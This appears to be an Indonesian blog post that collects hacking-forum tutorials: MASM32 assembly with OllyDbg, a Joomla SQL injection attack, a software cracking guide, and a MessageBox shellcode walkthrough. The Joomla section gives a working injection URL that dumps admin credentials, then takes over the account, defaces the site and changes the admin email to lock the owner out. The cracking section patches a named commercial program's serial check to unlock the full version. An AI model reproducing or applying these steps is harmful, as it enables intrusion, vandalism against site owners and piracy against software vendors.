Sabtu, 11 Agustus 2012

Pemrograman Assembly di Windows dengan masm32+ debugging dg ollydbg

tool: masm32 (32 bit microsoft macro assembler) -> untuk membuat executable

debugger: OllyDbg 1.10 (http://www.ollydbg.de/odbg110.zip) -> untuk mendebug

made by : devilzc0de.org written by m0nk3y@devilzc0de.org

thanks: all devilzc0de crews and members

download: http://www.masm32.com/masmdl.htm

"mengakses register lebih cepat dari mengakses memori karena register berada di cpu sedangkan memori baru terhubung

ke cpu dengan bus"

microsoft macro assembler yang kita kenal dulu hanya untuk pemrograman asm 16 bit kini telah berevolusi menjadi

masm32 untuk pemrograman assembly 33 bit

* direktif

aturan yg akan dipakai di program

---------------

.model -> aturan untuk model memori

----------------

.model flat-> menggunakan register 32 bit, offset 32 bit , semua data dan kode dalam 32 bit segment

.model tiny -> untuk program dg ekstensi .com, pake segmen tunggal utk kode dan data

.model large -> menggunakan lebih dr 1 segmen

dll

untuk mempermudah jalankan qteditor di direktori instalasi masm32

* program ke 1 menggunakan stdout

------------------------------------------

.386

.model flat,stdcall

option casemap : none

include \masm32\include\windows.inc

include \masm32\include\kernel32.inc

include \masm32\include\masm32.inc

includelib \masm32\lib\masm32.lib

includelib \masm32\lib\kernel32.lib

.data

devilzc0de db "devilzc0de",0

.code

start:

invoke StdOut, addr devilzc0de

call ExitProcess

end start

------------------------------------------

untuk langsung mengkompile menjadi exe :

[Image: 1.jpg]

penjelasan:

.386 (8036)-> direktif untuk menggunakan instruksi asm untuk arsitektur 32 bit , bisa juga .686 atau .586 , dll

untuk listingnya bisa dilihat di http://en.wikipedia.org/wiki/X86_instruction_listings

stdcall -> digunakan untuk parameter passing untuk fungsi dari kiri ke kanan (akan kita lihat saat mendebug program

kita nanti)

option casemap : none -> dengan direktif ini akan membuat semua label, variabel menjadi case sensitif (jika ada

kesalahan penulisan seharusnya huruf besar menjadi huruf kecil bisa mengakibatkan error)

selanjutnya digunakan include file 2 yang diperlukan (.inc) untuk api2 windows yang akan kita gunakan

.data

tempat data 2 yang akan kita inisialisasi misal kita define variabel dg nama: devilzc0de

devilzc0de db "devilzc0de",0

db= define byte , 0 digunakan untuk terminate string dg null

.code

merupakan awal kode asm kita

selanjutnya kita menggunakan invoke untuk memanggil makro stdout yang bertujuan untuk print screen:

--------------------------------

invoke StdOut, addr devilzc0de

--------------------------------

jika kita tulis lagi instruksi tersebut di asm 16 bit bisa menggunakan interup 21 hexa fungsi 9 hex:

------------

mov ah, 09h ; kita akan menggunakan int 21h fungsi 9 hexa

mov dx, offset devilzc0de ; dx berisi offset devilzc0de

int 21 h ; call dos

--------------

di atas terlihat kebiasaan di 16 bit yg menggunakan offset, perbedaan offset dan addr:

- offset : untuk mendapatkan alamat memori dari variabel global

- addr : untuk mendapatkan alamat memori dari variabel global dan lokal

selanjutnya call makro exitprocess (untuk keluar program)

program di atas bisa ditulis ulang dg cara yg lebih bagus dg mengganti call dengan invoke:

* program ke 1 menggunakan stdout

------------------------------------------

.386

.model flat,stdcall

option casemap : none

include \masm32\include\windows.inc

include \masm32\include\kernel32.inc

include \masm32\include\masm32.inc

includelib \masm32\lib\masm32.lib

includelib \masm32\lib\kernel32.lib

.data

devilzc0de db "devilzc0de",0

.code

start:

invoke StdOut, addr devilzc0de

invoke ExitProcess,0

end start

------------------------------------------

dg call program kita tidak akan melakukan push dword ke stack, pas program error tidak akan ada catch untuk error,

jadi invoke digunakan menggantikan call bisa dianggap error handling.

* messagebox

bagi yg sudah familiar dg program2 seperti vb dan delphi pasti sudah tau yg namanya messagebox

misal di vb6 untuk menampilkan messagebox saat form diload:

-----------------

Private Sub Form_Load()

MsgBox "tes"

End Sub

-----------------

untuk implementasi menampilkan messagebox seperti di visual basi di asm dg menggunakan masm32 :

----------------------------

.386

.model flat,stdcall

option casemap : none

include \masm32\include\windows.inc

include \masm32\include\kernel32.inc

include \masm32\include\masm32.inc

include \masm32\include\user32.inc

includelib \masm32\lib\masm32.lib

includelib \masm32\lib\kernel32.lib

includelib \masm32\lib\user32.lib

.data

judul db "title pesan",0

devilzc0de db "devilzc0de",0

.code

start:

invoke MessageBox, NULL, addr devilzc0de, addr judul, MB_OK

invoke ExitProcess,0

end start

----------------------------

assemble dan link lalu run:

[Image: 2.jpg]

[2.jpg]

keterangan:

untuk menggunakan messagebox kita perlu menginclude : user32.inc

dan user32.lib

-----------------------

include \masm32\include\user32.inc

includelib \masm32\lib\user32.lib

--------------------------

mari kita lihat isi file user32.inc:

-----------------------------

C:\Documents and Settings\batman>cd \

C:\>cd masm32\include

C:\masm32\include>type user32.inc

; ===========================================

; user32.inc copyright MASM32 1998 - 2005

; ===========================================

-------snip snip cutted-----------

MessageBoxA PROTO :DWORD,:DWORD,:DWORD,:DWORD

MessageBox equ <MessageBoxA>

------snip snip cutted-----------

ok jika kita perhatikan di caption muncul pesan error, karena seharusnya tidak kita isi parameter dengan null tapi

kita masukkan data berupa DWORD (double word) di windows 16 bit 1 word=16 bit , untuk 32 bit dikenal dword yg

artinya 16x2 (yang dimaksud 1 bit adalah 1 bit angka biner , 32 bit merupakan gabungan 2 register 16 bit).

ok mari kita coba melakukan sedikit debug dengan olydbg untuk melihat kinerja program:

[Image: 3.jpg]

[3.jpg]

invoke MessageBox, NULL, addr devilzc0de, addr judul, MB_OK

karena di bagian paling atas kita menulis direktif stdcall maka yg dipush pertama kali adalah parameter paling

kanan:

00401000 >/$ 6A 00 PUSH 0 ; /Style = MB_OK|MB_APPLMODAL

parameter paling kanan dipush ke stack

00401002 |. 68 00304000 PUSH devil.00403000 ; |Title = "title pesan"

setelah itu alamat memori dari variabel judul

00401007 |. 68 0C304000 PUSH devil.0040300C ; |Text = "devilzc0de"

setelah itu berlanjut ke alamat memori dari variabel devilzc0de

0040100C |. 6A 00 PUSH 0 ; |hOwner = NULL

untuk howner kita push 0 karena isian parameter adalah null

0040100E |. E8 0D000000 CALL <JMP.&user32.MessageBoxA> ; \MessageBoxA

setelah itu dilakukan jmp ke makro messageboxA

dengan isi makro sbb:

-------snip snip cutted-----------

MessageBoxA PROTO :DWORD,:DWORD,:DWORD,:DWORD

MessageBox equ <MessageBoxA>

------snip snip cutted-----------

equ berarti equal dengan kata lain MessageBox merupakan alias dari MessageBoxA

00401013 |. 6A 00 PUSH 0 ; /ExitCode = 0

selanjutnya kita push 0 ke stack untuk exit code 0

00401015 \. E8 00000000 CALL <JMP.&kernel32.ExitProcess> ; \ExitProcess

selanjutnya dilakukan jmp ke makro exitprocess

ok kita lanjutkan lain waktu dengan teknik anti disasm dan anti heuristic dengan junk


Sumber : Devilzc0de Forum

Hacking Administrator Joomla – Get Full Access!

Tools required:
SQL-i Knowledge
reiluke SQLiHelper 2.7
Joomla! Query Knowledge
Finding Exploit And Target
Those two steps could go in different order, depend what you find first target or exploit…
Google dork: inurl:”option=com_idoblog”

At inj3ct0r.com search for: com_idoblog
Give us back Joomla Component idoblog 1.1b30 (com_idoblog) SQL Injection Vuln

Image


==
Joomla Component idoblog 1.1b30 (com_idoblog) SQL Injection Vuln
==
index.php?option=com_idoblog&task=profile&Itemid=1337&userid=62+union+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10, ​11,12,13,14,15,16+from+jos_users–
Exploit can be separated in two parts:
Part I
index.php?option=com_idoblog&task=profile&Itemid=1337&userid=62
This part opening blog Admin page and if Admin page don’t exist, exploit won’t worked (not completely confirmed)
Part II
+union+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,1​5,16+from+jos_users–
This part looking for username and password from jos_users table
Testing Vulnerability
Disable images for faster page loading:
[Firefox]
Tools >> Options >> Content (tab menu) >> and unclick ‘Load images automatically’
Go to:

Code: Select all
http://www.site.com/index.php?option=com_idoblog&view=idoblog&Itemid=22


Site load normally…
Go to:

Code: Select all
http://www.site.com/index.php?option=com_idoblog&task=profile&Itemid=1337&userid=62


Site content blog Profile Admin
Go to:

Code: Select all
http://www.site.com/index.php?option=com_idoblog&task=profile&Itemid=1337&userid=62+union+select+1--


Site is vulnerable
Inject Target
Open reiluke SQLiHelper 2.7
In Target copy

Code: Select all
http://www.site.com/index.php?option=com_idoblog&task=profile&Itemid=1337&userid=62


Image


Notice that exploit from inj3ct0r wouldn’t work here because it looking for jos_users table and as you can see
our target use jos153_users table for storing data
Let Dump username, email, password from Column Name jos153_users. Click on Dump Now

Image


username: admin
email: info@site.com
password: 169fad83bb2ac775bbaef4938d504f4e:mlqMfY0Vc9KLxPk056eewFWM13vEThJI
Joomla! 1.5.x uses md5 to hash the passwords. When the passwords are created, they are hashed with a
32 character salt that is appended to the end of the password string. The password is stored as
{TOTAL HASH}:{ORIGINAL SALT}. So to hack that password take time and time…
The easiest way to hack is to reset Admin password!
Admin Password Reset
Go to:
Code: Select all
http://www.site.com/index.php?option=com_user&view=reset


This is standard Joomla! query for password reset request
Image


Forgot your Password? page will load.
In E-mail Address: enter admin email (in our case it is:info@site.com) and press Submit.
If you find right admin email, Confirm your account. page will load, asking for Token
Finding Token
To find token go back to reiluke SQLiHelper 2.7 and dump username and activation from Column Name jos153_users

Image


username: admin
activation: 5482dd177624761a290224270fa55f1d
5482dd177624761a290224270fa55f1d is 32 char verification token, enter it and pres Submit.

Image


If you done everything ok, Rest your Password page will load. Enter your new password…
After that go to:

Code: Select all
http://www.site.com/administrator/


Standard Joomla portal content management system
Enter username admin and your password, click on Login
Go to Extensions >> Template Manager >> Default Template Name >> Edit HTML

In Template HTML Editor insert your defaced code, click Apply, Save and you are done!!!

Image


To make admin life more miserable, click on admin in main Joomla window and in User Details page change admin E-mail

Image


:nikmat: :nikmat: :nikmat: :nikmat: :nikmat: :nikmat: :nikmat:


Sumber : http://devilzc0de.org/forum/thread-15169.html

Tutorial Nge Patch Software

allo teman2 kali ini saya mau share ni tentang bagaimana caranya membuat patch software yaitu dengan menggunakan bantuan software ollydbg,
tutorial ini bukanlah tutorial yang expert jadi untuk para master2 disaranin mending gak usah membuang2 waktu anda yang berharga untuk melihat tutorial ini...
ok langsung saja pada pembahasan...
pertama2 buka dulu target program di ollydbg dan langsung run program tersebut...
lalu lakukan registrasi pada program tersebut.....

username dan serialnya terserah anda dulu);
kemudian muncul peringatan bahwa serial yang kita masukkan adalah salah... ,catat peringatan itu pada notepad karna kita akan membutuhkannya untuk menemukan letak code yang pas ...^_^

Image

kemudian klik kanan pada ollydbg->Search For->All Referenced Text String
klik kanan kembali pada window Referenced Text String->Search For Text
masukkan paringatan tadi lalu klik ok...
setelah ketemu double klik string tersebut dan anda akan diarahkan di alamat dari string tersebut...

Image

Sekarang coba arahkan mouse anda pada alamat 4022E0 "JNZ SHORT sta.00402307" disitu terdapat conditional jump yaitu JNZ (Jump if Not Zero) adalah instruksi JUMP bersyarat yang memantau suatu nilai Akumulator. intruksi ini hanya akan dijalakan apabila akumulator tesebut bukan nol.
DI situ bila serial salah register EAX akan bernilai 0 jadi intruksi JNZ akan dilakukan dan akan langsung mengarah ke alamat 40237 yaitu akan menampilkan message box yang memberitahu bahwa serial kita salah.
Dari keterangan diatas ada banyak sekali cara untuk membuat software kita jadi full version meskipun serial yang kita masukkan salah...ok saya akan membahasnya satu persatu...

1. MERUBAH JNZ MENJADI JZ

ini adalah teknik yang paling saya sukai karna kita hanya perlu mengganti satu comand saja pada alamat 4022E0 dari JNZ jadi JZ JAdi meskipun serial kita salah lompatan tidak akan terjadi dan software ini akan jadi FUll Version namun sebaliknya apabila serial kita benar justru lompatan akan terjadi dan menampilkan Messagebox tadi...
untuk melakukanya coba double klik alamat 4022E0 kemudian ganti valuenya dari "JNZ SHORT 00402307" jadi "JZ SHORT 00402307"
kemudian coba jalankan softwarenya dan lakukan registrasi terserah anda...

Image

Jackpot Software Anda Jadi Full Version

2. MENIADAKAN PROSES INTRUKSI

Sebelumnya agar software kembali menjadi menjadi trial lagi hapus dulu pengaturan pada registry windows untuk software ini pengaturanya ada di HKEY_CURRENT_USER\Software\Blazing Tools untuk mudahnya saya hapus saja key Blazing Tools ^_^
Meniadakan proses intruksi adalah cara yang efektif namun tidak efisien mengingat banyak terbentuknya Code Cave. Yaitu dengan meniadakan beberapa instruksi dengan cara merubahnya sebagai intruksi yang tidak dijalankan.
untuk melakukanya klik kanan pada alamat 4022E0->Binary->Fill With NOP's
Setelah anda jalankan sekali lagi software anda menjadi full version ^_^

3. MENGGUNAKAN INTRUKSI JMP

Kali ini kita akan sedikit memodifikasi software ini dengan memanfaatkan Code Cave pada program ini...
Pertama2 langsung saja menuju pada bagian paling bawah dari program karna biasanya di situ banyak sekali terdapat Code Cave...
Agar sedikit narsis pertama2 kita buat dulu messagebox yang isinya adalah tulisan bahwa software ini berhasil kita patch he...^_^
Blok beberapa Code Cave klik kanan->Binary->Edit kemudian masukkan tulisan untuk dimasukkan di judul messagebox
kemudian Blok lagi beberapa Code Cave klik kanan->Binary->Edit kemudian masukkan tulisan untuk dimasukkan di isi
dari messagebox, jadinya kira2 seperti ini...

PUSH EAX
POPAD
JE SHORT sta.00440682
PUSH 42206465
JNS SHORT sta.00440646
INC ECX
JNS SHORT sta.0044069B
BOUND EDI,QWORD PTR DS:[ECX+74]

PUSH ESP
PUSH 53207369
OUTS DX,DWORD PTR ES:[EDI]
JE SHORT 000006C2
POPAD
JB SHORT sta.004406B3
AND BYTE PTR DS:[EBX+75],DL
ARPL WORD PTR DS:[EBX+65],SP
JNB SHORT sta.004406C9
JNZ SHORT 000006C5
AND BYTE PTR DS:[EAX+61],DL
JE SHORT sta.004406C1
PUSH 42206465
JNS SHORT sta.00440685
INC ECX
JNS SHORT sta.004406DA
BOUND EDI,QWORD PTR DS:[ECX+74]
ADD BYTE PTR GS:[EAX],AL

Untuk merapikannya klik kanan ->Analisi kemudian klik Analisye Code Hasilnya seperti ini

0044061B . 50 61 74 63 68>ASCII "Patched By Ayrby"
0044062B . 74 65 00 ASCII "te",0

00440630 . 54 68 69 73 20>ASCII "This Software Su"
00440640 . 63 63 65 73 73>ASCII "ccessful Patched"
00440650 . 20 42 79 20 41>ASCII " By Ayrbyte",0

Kemudian isi kembali Code Cave dengan kode assembly Seperti Ini

PUSH 0
PUSH 0044061B
PUSH 00440630
PUSH 0
CALL MessageBoxA

Karna pada alamat 4022E0 menjelaskan bahwa bila serial salah akan terjadi lompatan ke 402307 maka pada alamat 402307 langsung saja kita ganti dengan intruksi JMP 44065E yang akan mengarah ke messagebox kita tadi lalu pada sesudah messagebox tambahkan intruksi agar langsung menuju ke alamat Succeded Registration JMP 4022E2

jadi kira2 seperti inilah hasil modifan kita...

Image
Image

Kemudian klik kanan ->copy to excutable->all modification->copy all
klik kanan->copy->select all
klik kanan->save file

simpan dan berinama sta(patched).exe kemudian letakkan di folder instalasi software ini, setalah selesai coba buka hasil patch tadi
kini apapun yang anda masukkan pada kolom registrasi hasilnya akan tetap sama yaitu membuat software anda menjadi full version

Image

Image

Image

misi sudah di kerjakan dengan baik ini hanyalah satu contoh nyata dari bugs shareware karena kelalaian programmer hal ini dapat terjadi karna kita memakai "Text String" sebagai acuan andai saja progremer software tersebut menggunakan teknologi seperti obfuscation atau menyembunyikan string tentunya tidak akan semudah ini berhasil dilumpuhkan.

sebenarnya selain hal2 diatas masih banyak cara yang bisa dilakukan namun hacking is art jadi ciptakan kreatifitasmu sendiri...^_^
sekian dulu ya tutorial nya...!
see you ...^_^

sumber : http://ayrbyte.blogspot.com

Membuat Shellcode Messagebox (basic)

bagi para master baiknya gak usah baca tulisan ini... nanti buang2 waktu anda yag berharga...
tulisan ini hanya untuk para pemula seperti saya yang ingin belajar... ^_^

pertama2 kita buat dulu messagebox dalam bahasa assembly, tetentunya buat tanpa menggunakan macro...
Ok langsung saja pada pembahasan...
secara sederhana dengan menggunakan MASM32 kompiler kita bisa dengan mudah membuat messagebox hanya dengan satu baris perintah saja yaitu dengan menggunakan :

Code: Select all
invoke MessageBox, NULL, addr MyText1, addr MyTitle, MB_OK


namun untuk membuat shellcode kita sebaiknya tidak menggunakan macro, secara sederhana messgebox dapat di panggil seperti code yang saya gunakan di sini...
http://www.exploit-db.com/exploits/19323/

Code: Select all
000DC610   B8 36C60D10      MOV EAX,100DC636 000DC615   B9 FFFFFF0F      MOV ECX,0FFFFFFF 000DC61A   BA FFFFFF0F      MOV EDX,0FFFFFFF 000DC61F   2BC1             SUB EAX,ECX 000DC621   2BD1             SUB EDX,ECX 000DC623   52               PUSH EDX 000DC624   50               PUSH EAX 000DC625   90               NOP 000DC626   90               NOP 000DC627   90               NOP 000DC628   90               NOP 000DC629   90               NOP 000DC62A   50               PUSH EAX 000DC62B   90               NOP 000DC62C   90               NOP 000DC62D   90               NOP 000DC62E   90               NOP 000DC62F   52               PUSH EDX 000DC630   90               NOP 000DC631   E8 D53ECA77      CALL USER32.MessageBoxA


Code: Select all
push 0 push judul_messagebox push isi_messagebox push 0 call MessageBoxA


code #MOV EAX,100DC636 #MOV ECX,0FFFFFFF #MOV EDX,0FFFFFFF #SUB EAX,ECX #SUB EDX,ECX di atas digunakan agar eax berisi offset dari string "PWNED by Ayrbyte...! ^_^" dan edx berisi nilai NULL atau 0x00000000

Image

di atas saya memanggil MessageBox dengan cara Call 77D8050B yaitu alamat dari fungsi MessageBoxA di user32 namun hal ini tidak bisa dilakukan di sistem operasi mulai dari vista ke atas, karna sistem operasi tersebut telah terproteksi oleh ASLR yaitu metode sistem operasi yang merandom alamat2 offset sehingga kita tidak tahu alamat offset yang akan kita gunakan..., karna di tutorial ini saya menggunakan windows 7 maka saya tidak bisa menggunakan cara di atas

untuk itu kita harus membuat fungsi untuk menemukan base address dari suatu modul... setelah beberapa saat browsing mencari fungsi tersebut akhirnya saya menemukannya di http://skypher.com/wiki/index.php/Hacking/Shellcode/kernel32http://skypher.com/wiki/index.php/Hacking/Shellcode/kernel32 dengan cara itu kita bisa menemukan base address dari kernel32... ok langsung saja tulis kode seperti berikut...

Code: Select all
include \masm32\include\masm32rt.inc .data .code start: ASSUME FS:NOTHING XOR ESI,ESI XOR ECX,ECX                   ; ECX = 0 MOV ESI,FS:[ECX + 30h]        ; ESI = &(PEB) ([FS:0x30]) MOV ESI,[ESI + 0Ch]           ; ESI = PEB->Ldr MOV ESI,[ESI + 1Ch]           ; ESI = PEB->Ldr.InInitOrder next_module: MOV EBP,[ESI + 08h]           ; EBP = InInitOrder[X].base_address MOV EDI,[ESI + 20h]           ; EBP = InInitOrder[X].module_name (unicode) MOV ESI,[ESI]                 ; ESI = InInitOrder[X].flink (next module) CMP [EDI + 12*2], CL          ; modulename[12] == 0 ? JNE next_module               ; No: mencoba module berikutnya.                               ; EBP berisi base address kernel32 call ExitProcess end start


setelah itu compile dengan MASM32 compiler dan jalankan di debugger...

Image

Seperti yang terlihat di atas EBP telah terisi base address dari kernel32..., Eitz... lalu apalagi yang kita lakukan...? bukannya MessageBoxA tu adanya di user32...?
Yupz benar sekali... mudah saja cara yang kita lakukan tinggal menghittung selisih antara base address antara kernel32 dengan base address user32 kemudian selisihnya di tambahkan ke ebp sehingga ebp berisi base address user32... ^_^

kernel32.dll :
Image
user32.dll :
Image

Image

Selisihnya adalah 3342336... dengan cara yang sama kita juga harus menemukan selisih dari fungsi messagebox dengan base address user32... jadi kita menambahkan codenya seperti ini

ADD EBP,3342336
;EBP = ditambah 3342336 sekarang menjadi
;base address user32 tempat fungsi MessageBoxA
ADD EBP,387697
;EBP = ditambah 387697 sekarang mengarah
;ke fungsi MessageBoxA

dan dengan menggunakan perintah Call EBP otomatis kita telah memanngil fungsi CallMessageBoxA
namun untuk melakukan itu paling tidak di dalam program kita harus ada fungsi untuk meload module user32.dll...

Code: Select all
include \masm32\include\masm32rt.inc .data MyTitle db "Testing MessageBoxA by Ayrbyte",0 MyText1 db "Test Messagebox Dengan Macro by Ayrbyte",0 MyText2 db "Test Calling MessageboxA Tanpa Macro by Ayrbyte",0 .code start: ;----------------------------------------->MessageBox Menggunakan Macro<------------------------------------------------- invoke MessageBox, NULL, addr MyText1, addr MyTitle, MB_OK jmp tanpa_macro ;------------------------------------------->MessageBox Tanpa Macro<----------------------------------------------------- tanpa_macro: ASSUME FS:NOTHING XOR ESI,ESI XOR ECX,ECX                   ; ECX = 0 MOV ESI,FS:[ECX + 30h]        ; ESI = &(PEB) ([FS:0x30]) MOV ESI,[ESI + 0Ch]           ; ESI = PEB->Ldr MOV ESI,[ESI + 1Ch]           ; ESI = PEB->Ldr.InInitOrder next_module: MOV EBP,[ESI + 08h]           ; EBP = InInitOrder[X].base_address MOV EDI,[ESI + 20h]           ; EBP = InInitOrder[X].module_name (unicode) MOV ESI,[ESI]                 ; ESI = InInitOrder[X].flink (next module) CMP [EDI + 12*2], CL          ; modulename[12] == 0 ? JNE next_module               ; No: mencoba module berikutnya.                               ;EBP berisi base address kernel32 ADD EBP,3342336                               ;EBP = ditambah 3342336 sekarang menjadi                               ;base address user32 tempat fungsi MessageBoxA ADD EBP,387697                               ;EBP = ditambah 387697 sekarang mengarah                               ;ke fungsi MessageBoxA push 0 push offset MyTitle push offset MyText2 push 0 call EBP                      ;CALL MessageBoxA call ExitProcess end start


MessageBox pertama menggunkan Macro dan MessageBox ke dua langsung memanggil fungsi MessageBoxA di user32 ^_^
tp program di atas tidak jalan ketika windows 7 nya direstart butuh sedikit modifikasi lagi agar bisa jalan kembali...
untuk itu kita perlu memodifikasi sedikit program kita lagi...

di windows 7 yang saya pakek user32.dll berada pada urutan ke 8... di bawah modul2 berikut...

ntdll.dll
KERNELBASE.dll
kernel32.dll
msvcrt.dll
USP10.dll
LPK.dll
GDI32.dll
user32.dll

denga itu kita hanya perlu melakukan perulangan sebanyak 8x agar menemukan module user32.dll..., kemudian langkah selanjutnya masih sama seperti yang tadi... ^_^

Code: Select all
;Calling MessageBoxA tanpa macro "the hard way" ;by Ayrbyte ;using masm32 Compiler include \masm32\include\masm32rt.inc .data MyTitle db "Testing MessageBoxA by Ayrbyte",0 MyText1 db "Test Messagebox Dengan Macro by Ayrbyte",0 MyText2 db "Test Calling MessageboxA Tanpa Macro by Ayrbyte",0 .code start: ;---&gt;MessageBox Menggunakan Macro&lt;--- invoke MessageBox, NULL, addr MyText1, addr MyTitle, MB_OK jmp tanpa_macro ;---&gt;MessageBox Tanpa Macro&lt;--- tanpa_macro: ASSUME FS:NOTHING XOR ESI,ESI XOR ECX,ECX            ; ECX = 0 MOV ESI,FS:[ECX + 30h] ; ESI = &amp;(PEB) ([FS:0x30]) MOV ESI,[ESI + 0Ch]    ; ESI = PEB-&gt;Ldr MOV ESI,[ESI + 1Ch]    ; ESI = PEB-&gt;Ldr.InInitOrder xor ebx,ebx next_module: inc ebx MOV EBP,[ESI + 08h]    ; EBP = InInitOrder[X].base_address MOV EDI,[ESI + 20h]    ; EBP = InInitOrder[X].module_name (unicode) MOV ESI,[ESI]          ; ESI = InInitOrder[X].flink (next module) mov edx,8              ; user32.dll berada di urutan ke 8 CMP ebx,edx; JNE next_module        ; No: mencoba module berikutnya.                        ; EBP berisi base address user32 add ebp,1000h          ; offset awal user32.dll mov eax,5DA71h              add ebp,eax            ; EBP ditambah 5DA71 agar menjadi offset MessageBoxA xor edx,edx            ; EDX = NULL / 0 push EDX push offset MyTitle push offset MyText2 push EDX call ebp               ;calling MessageBoxA ret 0 end start


kode di atas meload user32.dll karena kita masih menggunakan macro invoke MessageBox, NULL, addr MyText1, addr MyTitle, MB_OK yang otomotis membuat user32.dll ikut terload dalam executable module... untuk me load user32.dll
push string user32dll kemudian call LoadLibraryA, dengan begitu user32 akan otomatis ter load ke excutable module...

langkah terakhir yaitu buat semua kode anda agar tidak mengandung karakter NULL (0x00) karna pada dasarnya Shellcode adalah string yang di eksekusi dalam stack jadi apabila ada karakter null dalam program kita akan memutus string dan pada akhirnya membuat program kita rusak... caranya seperti ini...

misal ada perintah mov edx,8 koman tersebut jika di terjemah kan dalam bentuk binary menjadi seperti ini...
BA 08 00 00 00
terdapat 3 karakter null... untuk itu kita dapat merubahnya seperti ini...
mov eax,11111111h
mov ecx,11111119h
sub ecx,eax
mov edx,ecx
hasilnya sama saja...

berikut final code nya :

Code: Select all
;Calling MessageBoxA the "Hard Way" ;by Ayrbyte ;using masm32 Compiler include \masm32\include\masm32rt.inc .code start: ;--->Menemukan Address LoadLibraryA<--- ASSUME FS:NOTHING XOR ESI,ESI XOR ECX,ECX            ; ECX = 0 MOV ESI,FS:[ECX + 30h] ; ESI = &(PEB) ([FS:0x30]) MOV ESI,[ESI + 0Ch]    ; ESI = PEB->Ldr MOV ESI,[ESI + 1Ch]    ; ESI = PEB->Ldr.InInitOrder xor ebx,ebx next_module1: inc ebx MOV EBP,[ESI + 08h]    ; EBP = InInitOrder[X].base_address MOV EDI,[ESI + 20h]    ; EBP = InInitOrder[X].module_name (unicode) MOV ESI,[ESI]          ; ESI = InInitOrder[X].flink (next module) mov eax,11111111h mov ecx,11111114h sub ecx,eax mov edx,ecx            ; ecx = 3 kernel32 berada di urutan ke 3 CMP ebx,edx JNE next_module1       ; No: mencoba module berikutnya.                        ; EBP berisi base address kernel32 mov eax,11111111h mov ecx,11112111h sub ecx,eax add ebp,ecx          ; offset awal kernel32.dll mov eax,11111111h mov ecx,11162975h sub ecx,eax mov eax,ecx                add ebp,eax            ; EBP ditambah 51864 agar menjadi offset LoadLibrary A ;--->Meload user32 library<--- ;memasukkan 'user32' string ke stack mov edx,esp add edx,32 mov ecx,72657375h   ;75657375h = 'user' dalam format little endian mov ds:[edx],ecx    ;memasukkan 'user' ke stack mov eax,11111111h mov ecx,11114344h sub ecx,eax         ;membuat ecx terisi oleh 3233h = '32' dalam format little endian mov ds:[edx+4],ecx  ;memasukkan '32' ke stack                     ;sekarang edx menjadi offset string 'user32' push edx            ;push 'user32' call ebp            ;Calling kernel32dll.LoadLibraryA add esp,4 ;--->Menemukan Address MessageBoxA<--- ASSUME FS:NOTHING XOR ESI,ESI XOR ECX,ECX            ; ECX = 0 MOV ESI,FS:[ECX + 30h] ; ESI = &(PEB) ([FS:0x30]) MOV ESI,[ESI + 0Ch]    ; ESI = PEB->Ldr MOV ESI,[ESI + 1Ch]    ; ESI = PEB->Ldr.InInitOrder xor ebx,ebx next_module2: inc ebx MOV EBP,[ESI + 08h]    ; EBP = InInitOrder[X].base_address MOV EDI,[ESI + 20h]    ; EBP = InInitOrder[X].module_name (unicode) MOV ESI,[ESI]          ; ESI = InInitOrder[X].flink (next module) mov eax,11111111h mov ecx,11111119h sub ecx,eax mov edx,ecx            ; ecx = 8 user32 berada di urutan ke 8 CMP ebx,edx; JNE next_module2       ; No: mencoba module berikutnya.                        ; EBP berisi base address user32 mov eax,11111111h mov ecx,11112111h sub ecx,eax add ebp,ecx          ; offset awal user32.dll mov eax,11111111h mov ecx,1116EB82h sub ecx,eax mov eax,ecx                add ebp,eax            ; EBP ditambah 5DA71 agar menjadi offset MessageBoxA ;--->Mempersiapkan String Untuk Judul Dan Isi Messagebox<--- mov eax,11111111h mov ecx,11111295h sub ecx,eax sub esp,ecx ;offset edx judul 'MessageBoxA By Ayrbyte' mov edx,esp mov ecx,7373654Dh      ;'Mess' mov ds:[edx],ecx        mov ecx,42656761h      ;'ageB' mov ds:[edx+4],ecx mov ecx,2041786Fh      ;'oxA ' mov ds:[edx+8],ecx mov ecx,41207942h      ;'By A' mov ds:[edx+12],ecx mov ecx,79627279h      ;'yrby' mov ds:[edx+16],ecx mov eax,11111111h mov ecx,11117685h      sub ecx,eax            ;'te' mov ds:[edx+20],ecx ;offset ebx+23 isi 'MessageBoxA 'the hard way' By Ayrbyte' mov ebx,edx add ebx,20 mov ecx,7373654dh      ;'Mess' mov ds:[ebx+4],ecx mov ecx,42656761h      ;'ageB' mov ds:[ebx+8],ecx mov ecx,2041786Fh      ;'oxA ' mov ds:[ebx+12],ecx mov ecx,65687427h      ;''the' mov ds:[ebx+16],ecx mov ecx,72616820h      ;' har' mov ds:[ebx+20],ecx mov ecx,61772064h      ;'d wa' mov ds:[ebx+24],ecx mov ecx,42202779h      ;'y' B' mov ds:[ebx+28],ecx mov ecx,79412079h      ;'y Ay' mov ds:[ebx+32],ecx mov ecx,74796272h      ;'rbyt' mov ds:[ebx+36],ecx mov eax,11111111h mov ecx,11111176h  sub ecx,eax            ;'e' mov ds:[ebx+40],ecx add ebx,4 ;--->Calling MessageBoxA<--- xor eax,eax            ; eax = NULL / 0 push eax push edx push ebx push eax call ebp               ;calling user32.MessageBoxA ;--->Calling ExitProcess<--- ASSUME FS:NOTHING XOR ESI,ESI XOR ECX,ECX            ; ECX = 0 MOV ESI,FS:[ECX + 30h] ; ESI = &(PEB) ([FS:0x30]) MOV ESI,[ESI + 0Ch]    ; ESI = PEB->Ldr MOV ESI,[ESI + 1Ch]    ; ESI = PEB->Ldr.InInitOrder xor ebx,ebx next_module3: inc ebx MOV EBP,[ESI + 08h]    ; EBP = InInitOrder[X].base_address MOV EDI,[ESI + 20h]    ; EBP = InInitOrder[X].module_name (unicode) MOV ESI,[ESI]          ; ESI = InInitOrder[X].flink (next module) mov eax,11111111h mov ecx,11111113h sub ecx,eax mov edx,ecx            ; ecx = 2 kernelbase berada di urutan ke 2 CMP ebx,edx; JNE next_module3       ; No: mencoba module berikutnya.                        ; EBP berisi base address kernelbase mov eax,11111111h mov ecx,11142637h sub ecx,eax add ebp,ecx call ebp               ; Calling KERNELBASEDLL.ExitProcess end start


setelah di kompile... masukkan dalam immunity debugger kemudian blog kode kita tadi lalu klik kanan-->Binary-->Copy Binary
hasilnya seperti ini...

33 F6 33 C9 64 8B 71 30 8B 76 0C 8B 76 1C 33 DB 43 8B 6E 08 8B 7E 20 8B 36 B8 11 11 11 11 B9 14
